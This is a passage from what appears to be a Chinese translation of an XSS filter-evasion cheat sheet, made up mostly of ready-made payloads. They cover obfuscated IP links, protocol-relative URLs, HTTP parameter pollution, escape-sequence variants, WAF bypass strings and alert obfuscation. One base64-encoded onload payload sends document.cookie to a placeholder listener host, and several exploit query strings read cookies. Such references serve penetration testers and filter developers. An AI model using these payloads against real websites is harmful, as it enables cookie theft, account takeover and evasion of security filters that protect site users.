每个数字允许的总大小在 240 个字符左右,如您在第二个数字上看到的,并且由于十六进制数字在 0 到 F 之间,第三个十六进制引号上的前导零不是必需的
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制编码¶
同样允许填充,但每个类别(例如类别 A、类别 B 等)的总字符数必须保持在 4 个以上
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64 编码¶
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
混合编码¶
让我们混合搭配基础编码,并加入一些制表符和换行符(浏览器为什么允许这样做,我永远不会知道)。制表符和换行符只有在用引号封装时才有效
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议解析绕过¶
//
转换为 http://
,这节省了几个字节。当空间是问题时,这也非常方便(少两个字符可以发挥很大作用),并且可以轻松绕过像 (ht|f)tp(s)?://
这样的正则表达式(感谢 Ozh 的部分贡献)。您还可以将 //
更改为 \\\\
。但是,您确实需要将斜杠保留在原位,否则这将解释为相对路径 URL
<A HREF="//www.google.com/">XSS</A>
移除 CNAME¶
与上述 URL 结合使用时,删除 www.
将额外节省 4 个字节,对于正确设置的服务器,总共节省 9 个字节
<A HREF="http://google.com/">XSS</A>
绝对 DNS 的额外点
<A HREF="http://www.google.com./">XSS</A>
JavaScript 链接位置¶
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
内容替换作为攻击向量¶
假设 http://www.google.com/
被程序性地替换为空。类似的攻击向量已被用于对抗多个独立的真实世界 XSS 过滤器,方法是使用转换过滤器本身(此处有一个示例)来帮助创建攻击向量:java&\#x09;script:
被转换为 java script:
,这在 IE 中可以渲染
<A HREF="http://www.google.com/ogle.com/">XSS</A>
利用 HTTP 参数污染辅助 XSS¶
如果网站上的内容共享流程如下图所示,此攻击将起作用。有一个 Content
页面,其中包含用户提供的一些内容,此页面还包含一个指向 Share
页面的链接,该页面允许用户选择他们最喜欢的社交共享平台进行分享。开发人员对 Content
页面中的 title
参数进行了 HTML 编码以防止 XSS,但由于某些原因,他们没有对该参数进行 URL 编码以防止 HTTP 参数污染。最后,他们决定由于 content_type
的值是一个常量并且始终是整数,他们没有对 Share
页面中的 content_type
进行编码或验证。
内容页面源代码¶
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>
分享页面源代码¶
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>
内容页面输出¶
如果攻击者将不受信任的内容标题设置为 This is a regular title&content_type=1;alert(1)
,则 Content
页面中的链接将是这样
<a href="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>
分享页面输出¶
在分享页面输出中可能是这样
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server logic might be here
…
</script>
因此,在此示例中,主要缺陷是在 Share
页面中不进行适当编码或验证就信任 content_type
。HTTP 参数污染可以通过将反射型 XSS 提升为存储型 XSS 来增加 XSS 缺陷的影响。
字符转义序列¶
这是 HTML 和 JavaScript 中字符 \<
的所有可能组合。其中大多数不会直接渲染,但如上所示,许多在某些情况下可以渲染。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
绕过 WAF 的方法 – 跨站脚本¶
一般问题¶
存储型 XSS¶
如果攻击者成功通过过滤器注入 XSS,WAF 将无法阻止攻击的执行。
JavaScript 中的反射型 XSS¶
示例
<script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
漏洞利用
/?xss=500); alert(document.cookie);//
基于 DOM 的 XSS¶
示例
<script> ... eval($\_GET\[xss\]); ... </script>
漏洞利用
/?xss=document.cookie
通过请求重定向的 XSS¶
漏洞代码
...
header('Location: '.$_GET['param']);
...
以及
...
header('Refresh: 0; URL='.$_GET['param']);
...
此请求将无法通过 WAF
/?param=<javascript:alert(document.cookie>)
此请求将通过 WAF,并且 XSS 攻击将在某些浏览器中执行
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
WAF XSS 绕过字符串¶
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
鼠标悬停
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
过滤器绕过警告混淆¶
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
alert?.()
(alert())
有效负载应包含前导和尾随反引号
``${alert``}``